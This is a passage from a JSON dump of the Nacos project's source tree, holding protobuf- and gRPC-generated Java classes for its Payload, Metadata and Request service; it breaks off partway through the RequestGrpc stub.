    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\npublic final class NacosGrpcService {\n  private NacosGrpcService() {}\n  public static void registerAllExtensions(\n      com.google.protobuf.ExtensionRegistryLite registry) {\n  }\n\n  public static void registerAllExtensions(\n      com.google.protobuf.ExtensionRegistry registry) {\n    registerAllExtensions(\n        (com.google.protobuf.ExtensionRegistryLite) registry);\n  }\n  static final com.google.protobuf.Descriptors.Descriptor\n    internal_static_Metadata_descriptor;\n  static final \n    com.google.protobuf.GeneratedMessageV3.FieldAccessorTable\n      internal_static_Metadata_fieldAccessorTable;\n  static final com.google.protobuf.Descriptors.Descriptor\n    internal_static_Metadata_HeadersEntry_descriptor;\n  static final \n    com.google.protobuf.GeneratedMessageV3.FieldAccessorTable\n      internal_static_Metadata_HeadersEntry_fieldAccessorTable;\n  static final com.google.protobuf.Descriptors.Descriptor\n    internal_static_Payload_descriptor;\n  static final \n    com.google.protobuf.GeneratedMessageV3.FieldAccessorTable\n      internal_static_Payload_fieldAccessorTable;\n\n  public static com.google.protobuf.Descriptors.FileDescriptor\n      getDescriptor() {\n    return descriptor;\n  }\n  private static  com.google.protobuf.Descriptors.FileDescriptor\n      descriptor;\n  static {\n    String[] descriptorData = {\n      \"\\n\\030nacos_grpc_service.proto\\032\\031google/proto\" +\n      \"buf/any.proto\\032\\037google/protobuf/timestamp\" +\n      \".proto\\\"\\203\\001\\n\\010Metadata\\022\\014\\n\\004type\\030\\003 \\001(\\t\\022\\020\\n\\010cli\" +\n      \"entIp\\030\\010 \\001(\\t\\022\\'\\n\\007headers\\030\\007 \\003(\\0132\\026.Metadata.\" +\n      \"HeadersEntry\\032.\\n\\014HeadersEntry\\022\\013\\n\\003key\\030\\001 \\001(\" +\n      \"\\t\\022\\r\\n\\005value\\030\\002 \\001(\\t:\\0028\\001\\\"J\\n\\007Payload\\022\\033\\n\\010metad\" +\n      \"ata\\030\\002 \\001(\\0132\\t.Metadata\\022\\\"\\n\\004body\\030\\003 \\001(\\0132\\024.goo\" +\n      \"gle.protobuf.Any28\\n\\rRequestStream\\022\\'\\n\\rreq\" +\n      \"uestStream\\022\\010.Payload\\032\\010.Payload\\\"\\0000\\0012*\\n\\007Re\" +\n      \"quest\\022\\037\\n\\007request\\022\\010.Payload\\032\\010.Payload\\\"\\0002>\" +\n      \"\\n\\017BiRequestStream\\022+\\n\\017requestBiStream\\022\\010.P\" +\n      \"ayload\\032\\010.Payload\\\"\\000(\\0010\\001B#\\n\\037com.alibaba.na\" +\n      \"cos.api.grpc.autoP\\001b\\006proto3\"\n    };\n    descriptor = com.google.protobuf.Descriptors.FileDescriptor\n      .internalBuildGeneratedFileFrom(descriptorData,\n        new com.google.protobuf.Descriptors.FileDescriptor[] {\n          com.google.protobuf.AnyProto.getDescriptor(),\n          com.google.protobuf.TimestampProto.getDescriptor(),\n        });\n    internal_static_Metadata_descriptor =\n      getDescriptor().getMessageTypes().get(0);\n    internal_static_Metadata_fieldAccessorTable = new\n      com.google.protobuf.GeneratedMessageV3.FieldAccessorTable(\n        internal_static_Metadata_descriptor,\n        new String[] { \"Type\", \"ClientIp\", \"Headers\", });\n    internal_static_Metadata_HeadersEntry_descriptor =\n      internal_static_Metadata_descriptor.getNestedTypes().get(0);\n    internal_static_Metadata_HeadersEntry_fieldAccessorTable = new\n      com.google.protobuf.GeneratedMessageV3.FieldAccessorTable(\n        internal_static_Metadata_HeadersEntry_descriptor,\n        new String[] { \"Key\", \"Value\", });\n    internal_static_Payload_descriptor =\n      getDescriptor().getMessageTypes().get(1);\n    internal_static_Payload_fieldAccessorTable = new\n      com.google.protobuf.GeneratedMessageV3.FieldAccessorTable(\n        internal_static_Payload_descriptor,\n        new String[] { \"Metadata\", \"Body\", });\n    com.google.protobuf.AnyProto.getDescriptor();\n    com.google.protobuf.TimestampProto.getDescriptor();\n  }\n\n  // @@protoc_insertion_point(outer_class_scope)\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/Payload.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\n/**\n * Protobuf type {@code Payload}\n */\npublic  final class Payload extends\n    com.google.protobuf.GeneratedMessageV3 implements\n    // @@protoc_insertion_point(message_implements:Payload)\n    PayloadOrBuilder {\nprivate static final long serialVersionUID = 0L;\n  // Use Payload.newBuilder() to construct.\n  private Payload(com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {\n    super(builder);\n  }\n  private Payload() {\n  }\n\n  @Override\n  @SuppressWarnings({\"unused\"})\n  protected Object newInstance(\n      UnusedPrivateParameter unused) {\n    return new Payload();\n  }\n\n  @Override\n  public final com.google.protobuf.UnknownFieldSet\n  getUnknownFields() {\n    return this.unknownFields;\n  }\n  private Payload(\n      com.google.protobuf.CodedInputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    this();\n    if (extensionRegistry == null) {\n      throw new NullPointerException();\n    }\n    com.google.protobuf.UnknownFieldSet.Builder unknownFields =\n        com.google.protobuf.UnknownFieldSet.newBuilder();\n    try {\n      boolean done = false;\n      while (!done) {\n        int tag = input.readTag();\n        switch (tag) {\n          case 0:\n            done = true;\n            break;\n          case 18: {\n            Metadata.Builder subBuilder = null;\n            if (metadata_ != null) {\n              subBuilder = metadata_.toBuilder();\n            }\n            metadata_ = input.readMessage(Metadata.parser(), extensionRegistry);\n            if (subBuilder != null) {\n              subBuilder.mergeFrom(metadata_);\n              metadata_ = subBuilder.buildPartial();\n            }\n\n            break;\n          }\n          case 26: {\n            com.google.protobuf.Any.Builder subBuilder = null;\n            if (body_ != null) {\n              subBuilder = body_.toBuilder();\n            }\n            body_ = input.readMessage(com.google.protobuf.Any.parser(), extensionRegistry);\n            if (subBuilder != null) {\n              subBuilder.mergeFrom(body_);\n              body_ = subBuilder.buildPartial();\n            }\n\n            break;\n          }\n          default: {\n            if (!parseUnknownField(\n                input, unknownFields, extensionRegistry, tag)) {\n              done = true;\n            }\n            break;\n          }\n        }\n      }\n    } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n      throw e.setUnfinishedMessage(this);\n    } catch (java.io.IOException e) {\n      throw new com.google.protobuf.InvalidProtocolBufferException(\n          e).setUnfinishedMessage(this);\n    } finally {\n      this.unknownFields = unknownFields.build();\n      makeExtensionsImmutable();\n    }\n  }\n  public static final com.google.protobuf.Descriptors.Descriptor\n      getDescriptor() {\n    return NacosGrpcService.internal_static_Payload_descriptor;\n  }\n\n  @Override\n  protected FieldAccessorTable\n      internalGetFieldAccessorTable() {\n    return NacosGrpcService.internal_static_Payload_fieldAccessorTable\n        .ensureFieldAccessorsInitialized(\n            Payload.class, Builder.class);\n  }\n\n  public static final int METADATA_FIELD_NUMBER = 2;\n  private Metadata metadata_;\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  public boolean hasMetadata() {\n    return metadata_ != null;\n  }\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  public Metadata getMetadata() {\n    return metadata_ == null ? Metadata.getDefaultInstance() : metadata_;\n  }\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  public MetadataOrBuilder getMetadataOrBuilder() {\n    return getMetadata();\n  }\n\n  public static final int BODY_FIELD_NUMBER = 3;\n  private com.google.protobuf.Any body_;\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  public boolean hasBody() {\n    return body_ != null;\n  }\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  public com.google.protobuf.Any getBody() {\n    return body_ == null ? com.google.protobuf.Any.getDefaultInstance() : body_;\n  }\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  public com.google.protobuf.AnyOrBuilder getBodyOrBuilder() {\n    return getBody();\n  }\n\n  private byte memoizedIsInitialized = -1;\n  @Override\n  public final boolean isInitialized() {\n    byte isInitialized = memoizedIsInitialized;\n    if (isInitialized == 1) return true;\n    if (isInitialized == 0) return false;\n\n    memoizedIsInitialized = 1;\n    return true;\n  }\n\n  @Override\n  public void writeTo(com.google.protobuf.CodedOutputStream output)\n                      throws java.io.IOException {\n    if (metadata_ != null) {\n      output.writeMessage(2, getMetadata());\n    }\n    if (body_ != null) {\n      output.writeMessage(3, getBody());\n    }\n    unknownFields.writeTo(output);\n  }\n\n  @Override\n  public int getSerializedSize() {\n    int size = memoizedSize;\n    if (size != -1) return size;\n\n    size = 0;\n    if (metadata_ != null) {\n      size += com.google.protobuf.CodedOutputStream\n        .computeMessageSize(2, getMetadata());\n    }\n    if (body_ != null) {\n      size += com.google.protobuf.CodedOutputStream\n        .computeMessageSize(3, getBody());\n    }\n    size += unknownFields.getSerializedSize();\n    memoizedSize = size;\n    return size;\n  }\n\n  @Override\n  public boolean equals(final Object obj) {\n    if (obj == this) {\n     return true;\n    }\n    if (!(obj instanceof Payload)) {\n      return super.equals(obj);\n    }\n    Payload other = (Payload) obj;\n\n    if (hasMetadata() != other.hasMetadata()) return false;\n    if (hasMetadata()) {\n      if (!getMetadata()\n          .equals(other.getMetadata())) return false;\n    }\n    if (hasBody() != other.hasBody()) return false;\n    if (hasBody()) {\n      if (!getBody()\n          .equals(other.getBody())) return false;\n    }\n    if (!unknownFields.equals(other.unknownFields)) return false;\n    return true;\n  }\n\n  @Override\n  public int hashCode() {\n    if (memoizedHashCode != 0) {\n      return memoizedHashCode;\n    }\n    int hash = 41;\n    hash = (19 * hash) + getDescriptor().hashCode();\n    if (hasMetadata()) {\n      hash = (37 * hash) + METADATA_FIELD_NUMBER;\n      hash = (53 * hash) + getMetadata().hashCode();\n    }\n    if (hasBody()) {\n      hash = (37 * hash) + BODY_FIELD_NUMBER;\n      hash = (53 * hash) + getBody().hashCode();\n    }\n    hash = (29 * hash) + unknownFields.hashCode();\n    memoizedHashCode = hash;\n    return hash;\n  }\n\n  public static Payload parseFrom(\n      java.nio.ByteBuffer data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Payload parseFrom(\n      java.nio.ByteBuffer data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Payload parseFrom(\n      com.google.protobuf.ByteString data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Payload parseFrom(\n      com.google.protobuf.ByteString data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Payload parseFrom(byte[] data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Payload parseFrom(\n      byte[] data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Payload parseFrom(java.io.InputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input);\n  }\n  public static Payload parseFrom(\n      java.io.InputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input, extensionRegistry);\n  }\n  public static Payload parseDelimitedFrom(java.io.InputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseDelimitedWithIOException(PARSER, input);\n  }\n  public static Payload parseDelimitedFrom(\n      java.io.InputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseDelimitedWithIOException(PARSER, input, extensionRegistry);\n  }\n  public static Payload parseFrom(\n      com.google.protobuf.CodedInputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input);\n  }\n  public static Payload parseFrom(\n      com.google.protobuf.CodedInputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input, extensionRegistry);\n  }\n\n  @Override\n  public Builder newBuilderForType() { return newBuilder(); }\n  public static Builder newBuilder() {\n    return DEFAULT_INSTANCE.toBuilder();\n  }\n  public static Builder newBuilder(Payload prototype) {\n    return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);\n  }\n  @Override\n  public Builder toBuilder() {\n    return this == DEFAULT_INSTANCE\n        ? new Builder() : new Builder().mergeFrom(this);\n  }\n\n  @Override\n  protected Builder newBuilderForType(\n      BuilderParent parent) {\n    Builder builder = new Builder(parent);\n    return builder;\n  }\n  /**\n   * Protobuf type {@code Payload}\n   */\n  public static final class Builder extends\n      com.google.protobuf.GeneratedMessageV3.Builder<Builder> implements\n      // @@protoc_insertion_point(builder_implements:Payload)\n      PayloadOrBuilder {\n    public static final com.google.protobuf.Descriptors.Descriptor\n        getDescriptor() {\n      return NacosGrpcService.internal_static_Payload_descriptor;\n    }\n\n    @Override\n    protected FieldAccessorTable\n        internalGetFieldAccessorTable() {\n      return NacosGrpcService.internal_static_Payload_fieldAccessorTable\n          .ensureFieldAccessorsInitialized(\n              Payload.class, Builder.class);\n    }\n\n    // Construct using com.alibaba.nacos.api.grpc.auto.Payload.newBuilder()\n    private Builder() {\n      maybeForceBuilderInitialization();\n    }\n\n    private Builder(\n        BuilderParent parent) {\n      super(parent);\n      maybeForceBuilderInitialization();\n    }\n    private void maybeForceBuilderInitialization() {\n      if (com.google.protobuf.GeneratedMessageV3\n              .alwaysUseFieldBuilders) {\n      }\n    }\n    @Override\n    public Builder clear() {\n      super.clear();\n      if (metadataBuilder_ == null) {\n        metadata_ = null;\n      } else {\n        metadata_ = null;\n        metadataBuilder_ = null;\n      }\n      if (bodyBuilder_ == null) {\n        body_ = null;\n      } else {\n        body_ = null;\n        bodyBuilder_ = null;\n      }\n      return this;\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.Descriptor\n        getDescriptorForType() {\n      return NacosGrpcService.internal_static_Payload_descriptor;\n    }\n\n    @Override\n    public Payload getDefaultInstanceForType() {\n      return Payload.getDefaultInstance();\n    }\n\n    @Override\n    public Payload build() {\n      Payload result = buildPartial();\n      if (!result.isInitialized()) {\n        throw newUninitializedMessageException(result);\n      }\n      return result;\n    }\n\n    @Override\n    public Payload buildPartial() {\n      Payload result = new Payload(this);\n      if (metadataBuilder_ == null) {\n        result.metadata_ = metadata_;\n      } else {\n        result.metadata_ = metadataBuilder_.build();\n      }\n      if (bodyBuilder_ == null) {\n        result.body_ = body_;\n      } else {\n        result.body_ = bodyBuilder_.build();\n      }\n      onBuilt();\n      return result;\n    }\n\n    @Override\n    public Builder clone() {\n      return super.clone();\n    }\n    @Override\n    public Builder setField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        Object value) {\n      return super.setField(field, value);\n    }\n    @Override\n    public Builder clearField(\n        com.google.protobuf.Descriptors.FieldDescriptor field) {\n      return super.clearField(field);\n    }\n    @Override\n    public Builder clearOneof(\n        com.google.protobuf.Descriptors.OneofDescriptor oneof) {\n      return super.clearOneof(oneof);\n    }\n    @Override\n    public Builder setRepeatedField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        int index, Object value) {\n      return super.setRepeatedField(field, index, value);\n    }\n    @Override\n    public Builder addRepeatedField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        Object value) {\n      return super.addRepeatedField(field, value);\n    }\n    @Override\n    public Builder mergeFrom(com.google.protobuf.Message other) {\n      if (other instanceof Payload) {\n        return mergeFrom((Payload)other);\n      } else {\n        super.mergeFrom(other);\n        return this;\n      }\n    }\n\n    public Builder mergeFrom(Payload other) {\n      if (other == Payload.getDefaultInstance()) return this;\n      if (other.hasMetadata()) {\n        mergeMetadata(other.getMetadata());\n      }\n      if (other.hasBody()) {\n        mergeBody(other.getBody());\n      }\n      this.mergeUnknownFields(other.unknownFields);\n      onChanged();\n      return this;\n    }\n\n    @Override\n    public final boolean isInitialized() {\n      return true;\n    }\n\n    @Override\n    public Builder mergeFrom(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws java.io.IOException {\n      Payload parsedMessage = null;\n      try {\n        parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);\n      } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n        parsedMessage = (Payload) e.getUnfinishedMessage();\n        throw e.unwrapIOException();\n      } finally {\n        if (parsedMessage != null) {\n          mergeFrom(parsedMessage);\n        }\n      }\n      return this;\n    }\n\n    private Metadata metadata_;\n    private com.google.protobuf.SingleFieldBuilderV3<\n        Metadata, Metadata.Builder, MetadataOrBuilder> metadataBuilder_;\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public boolean hasMetadata() {\n      return metadataBuilder_ != null || metadata_ != null;\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Metadata getMetadata() {\n      if (metadataBuilder_ == null) {\n        return metadata_ == null ? Metadata.getDefaultInstance() : metadata_;\n      } else {\n        return metadataBuilder_.getMessage();\n      }\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Builder setMetadata(Metadata value) {\n      if (metadataBuilder_ == null) {\n        if (value == null) {\n          throw new NullPointerException();\n        }\n        metadata_ = value;\n        onChanged();\n      } else {\n        metadataBuilder_.setMessage(value);\n      }\n\n      return this;\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Builder setMetadata(\n        Metadata.Builder builderForValue) {\n      if (metadataBuilder_ == null) {\n        metadata_ = builderForValue.build();\n        onChanged();\n      } else {\n        metadataBuilder_.setMessage(builderForValue.build());\n      }\n\n      return this;\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Builder mergeMetadata(Metadata value) {\n      if (metadataBuilder_ == null) {\n        if (metadata_ != null) {\n          metadata_ =\n            Metadata.newBuilder(metadata_).mergeFrom(value).buildPartial();\n        } else {\n          metadata_ = value;\n        }\n        onChanged();\n      } else {\n        metadataBuilder_.mergeFrom(value);\n      }\n\n      return this;\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Builder clearMetadata() {\n      if (metadataBuilder_ == null) {\n        metadata_ = null;\n        onChanged();\n      } else {\n        metadata_ = null;\n        metadataBuilder_ = null;\n      }\n\n      return this;\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public Metadata.Builder getMetadataBuilder() {\n      \n      onChanged();\n      return getMetadataFieldBuilder().getBuilder();\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    public MetadataOrBuilder getMetadataOrBuilder() {\n      if (metadataBuilder_ != null) {\n        return metadataBuilder_.getMessageOrBuilder();\n      } else {\n        return metadata_ == null ?\n            Metadata.getDefaultInstance() : metadata_;\n      }\n    }\n    /**\n     * <code>.Metadata metadata = 2;</code>\n     */\n    private com.google.protobuf.SingleFieldBuilderV3<\n        Metadata, Metadata.Builder, MetadataOrBuilder>\n        getMetadataFieldBuilder() {\n      if (metadataBuilder_ == null) {\n        metadataBuilder_ = new com.google.protobuf.SingleFieldBuilderV3<>(\n                getMetadata(),\n                getParentForChildren(),\n                isClean());\n        metadata_ = null;\n      }\n      return metadataBuilder_;\n    }\n\n    private com.google.protobuf.Any body_;\n    private com.google.protobuf.SingleFieldBuilderV3<\n        com.google.protobuf.Any, com.google.protobuf.Any.Builder, com.google.protobuf.AnyOrBuilder> bodyBuilder_;\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public boolean hasBody() {\n      return bodyBuilder_ != null || body_ != null;\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public com.google.protobuf.Any getBody() {\n      if (bodyBuilder_ == null) {\n        return body_ == null ? com.google.protobuf.Any.getDefaultInstance() : body_;\n      } else {\n        return bodyBuilder_.getMessage();\n      }\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public Builder setBody(com.google.protobuf.Any value) {\n      if (bodyBuilder_ == null) {\n        if (value == null) {\n          throw new NullPointerException();\n        }\n        body_ = value;\n        onChanged();\n      } else {\n        bodyBuilder_.setMessage(value);\n      }\n\n      return this;\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public Builder setBody(\n        com.google.protobuf.Any.Builder builderForValue) {\n      if (bodyBuilder_ == null) {\n        body_ = builderForValue.build();\n        onChanged();\n      } else {\n        bodyBuilder_.setMessage(builderForValue.build());\n      }\n\n      return this;\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public Builder mergeBody(com.google.protobuf.Any value) {\n      if (bodyBuilder_ == null) {\n        if (body_ != null) {\n          body_ =\n            com.google.protobuf.Any.newBuilder(body_).mergeFrom(value).buildPartial();\n        } else {\n          body_ = value;\n        }\n        onChanged();\n      } else {\n        bodyBuilder_.mergeFrom(value);\n      }\n\n      return this;\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public Builder clearBody() {\n      if (bodyBuilder_ == null) {\n        body_ = null;\n        onChanged();\n      } else {\n        body_ = null;\n        bodyBuilder_ = null;\n      }\n\n      return this;\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public com.google.protobuf.Any.Builder getBodyBuilder() {\n      \n      onChanged();\n      return getBodyFieldBuilder().getBuilder();\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    public com.google.protobuf.AnyOrBuilder getBodyOrBuilder() {\n      if (bodyBuilder_ != null) {\n        return bodyBuilder_.getMessageOrBuilder();\n      } else {\n        return body_ == null ?\n            com.google.protobuf.Any.getDefaultInstance() : body_;\n      }\n    }\n    /**\n     * <code>.google.protobuf.Any body = 3;</code>\n     */\n    private com.google.protobuf.SingleFieldBuilderV3<\n        com.google.protobuf.Any, com.google.protobuf.Any.Builder, com.google.protobuf.AnyOrBuilder> \n        getBodyFieldBuilder() {\n      if (bodyBuilder_ == null) {\n        bodyBuilder_ = new com.google.protobuf.SingleFieldBuilderV3<>(\n                getBody(),\n                getParentForChildren(),\n                isClean());\n        body_ = null;\n      }\n      return bodyBuilder_;\n    }\n    @Override\n    public final Builder setUnknownFields(\n        final com.google.protobuf.UnknownFieldSet unknownFields) {\n      return super.setUnknownFields(unknownFields);\n    }\n\n    @Override\n    public final Builder mergeUnknownFields(\n        final com.google.protobuf.UnknownFieldSet unknownFields) {\n      return super.mergeUnknownFields(unknownFields);\n    }\n\n\n    // @@protoc_insertion_point(builder_scope:Payload)\n  }\n\n  // @@protoc_insertion_point(class_scope:Payload)\n  private static final Payload DEFAULT_INSTANCE;\n  static {\n    DEFAULT_INSTANCE = new Payload();\n  }\n\n  public static Payload getDefaultInstance() {\n    return DEFAULT_INSTANCE;\n  }\n\n  private static final com.google.protobuf.Parser<Payload>\n      PARSER = new com.google.protobuf.AbstractParser<Payload>() {\n    @Override\n    public Payload parsePartialFrom(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return new Payload(input, extensionRegistry);\n    }\n  };\n\n  public static com.google.protobuf.Parser<Payload> parser() {\n    return PARSER;\n  }\n\n  @Override\n  public com.google.protobuf.Parser<Payload> getParserForType() {\n    return PARSER;\n  }\n\n  @Override\n  public Payload getDefaultInstanceForType() {\n    return DEFAULT_INSTANCE;\n  }\n\n}\n\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/PayloadOrBuilder.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\npublic interface PayloadOrBuilder extends\n    // @@protoc_insertion_point(interface_extends:Payload)\n    com.google.protobuf.MessageOrBuilder {\n\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  boolean hasMetadata();\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  Metadata getMetadata();\n  /**\n   * <code>.Metadata metadata = 2;</code>\n   */\n  MetadataOrBuilder getMetadataOrBuilder();\n\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  boolean hasBody();\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  com.google.protobuf.Any getBody();\n  /**\n   * <code>.google.protobuf.Any body = 3;</code>\n   */\n  com.google.protobuf.AnyOrBuilder getBodyOrBuilder();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/RequestGrpc.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\nimport io.grpc.ClientCall;\n\nimport static io.grpc.MethodDescriptor.generateFullMethodName;\nimport static io.grpc.stub.ClientCalls.asyncUnaryCall;\nimport static io.grpc.stub.ClientCalls.blockingUnaryCall;\nimport static io.grpc.stub.ClientCalls.futureUnaryCall;\nimport static io.grpc.stub.ServerCalls.asyncUnaryCall;\nimport static io.grpc.stub.ServerCalls.asyncUnimplementedUnaryCall;\n\n/**\n *\n */\n@javax.annotation.Generated(\n    value = \"by gRPC proto compiler (version 1.14.0)\",\n    comments = \"Source: nacos_grpc_service.proto\")\npublic final class RequestGrpc {\n\n  private RequestGrpc() {}\n\n  public static final String SERVICE_NAME = \"Request\";\n\n  // Static method descriptors that strictly reflect the proto.\n  private static volatile io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload,\n      com.alibaba.nacos.api.grpc.auto.Payload> getRequestMethod;\n\n  @io.grpc.stub.annotations.RpcMethod(\n      fullMethodName = SERVICE_NAME + '/' + \"request\",\n      requestType = com.alibaba.nacos.api.grpc.auto.Payload.class,\n      responseType = com.alibaba.nacos.api.grpc.auto.Payload.class,\n      methodType = io.grpc.MethodDescriptor.MethodType.UNARY)\n  public static io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload,\n      com.alibaba.nacos.api.grpc.auto.Payload> getRequestMethod() {\n    io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload, com.alibaba.nacos.api.grpc.auto.Payload> getRequestMethod;\n    if ((getRequestMethod = RequestGrpc.getRequestMethod) == null) {\n      synchronized (RequestGrpc.class) {\n        if ((getRequestMethod = RequestGrpc.getRequestMethod) == null) {\n          RequestGrpc.getRequestMethod = getRequestMethod = \n              io.grpc.MethodDescriptor.<com.alibaba.nacos.api.grpc.auto.Payload, com.alibaba.nacos.api.grpc.auto.Payload>newBuilder()\n              .setType(io.grpc.MethodDescriptor.MethodType.UNARY)\n              .setFullMethodName(generateFullMethodName(\n                  \"Request\", \"request\"))\n              .setSampledToLocalTracing(true)\n              .setRequestMarshaller(io.grpc.protobuf.ProtoUtils.marshaller(\n                  com.alibaba.nacos.api.grpc.auto.Payload.getDefaultInstance()))\n              .setResponseMarshaller(io.grpc.protobuf.ProtoUtils.marshaller(\n                  com.alibaba.nacos.api.grpc.auto.Payload.getDefaultInstance()))\n                  .setSchemaDescriptor(new RequestMethodDescriptorSupplier(\"request\"))\n                  .build();\n          }\n        }\n     }\n     return getRequestMethod;\n  }\n\n  /**\n   * Creates a new async stub that supports all call types for the service\n   */\n  public static RequestStub newStub(io.grpc.Channel channel) {\n    return new RequestStub(channel);\n  }\n\n  /**\n   * Creates a new blocking-style stub that supports unary and streaming output calls on the service\n   */\n  public static RequestBlockingStub newBlockingStub(\n      io.grpc.Channel channel) {\n    return new RequestBlockingStub(channel);\n  }\n\n  /**\n   * Creates a new ListenableFuture-style stub that supports unary calls on the service\n   */\n 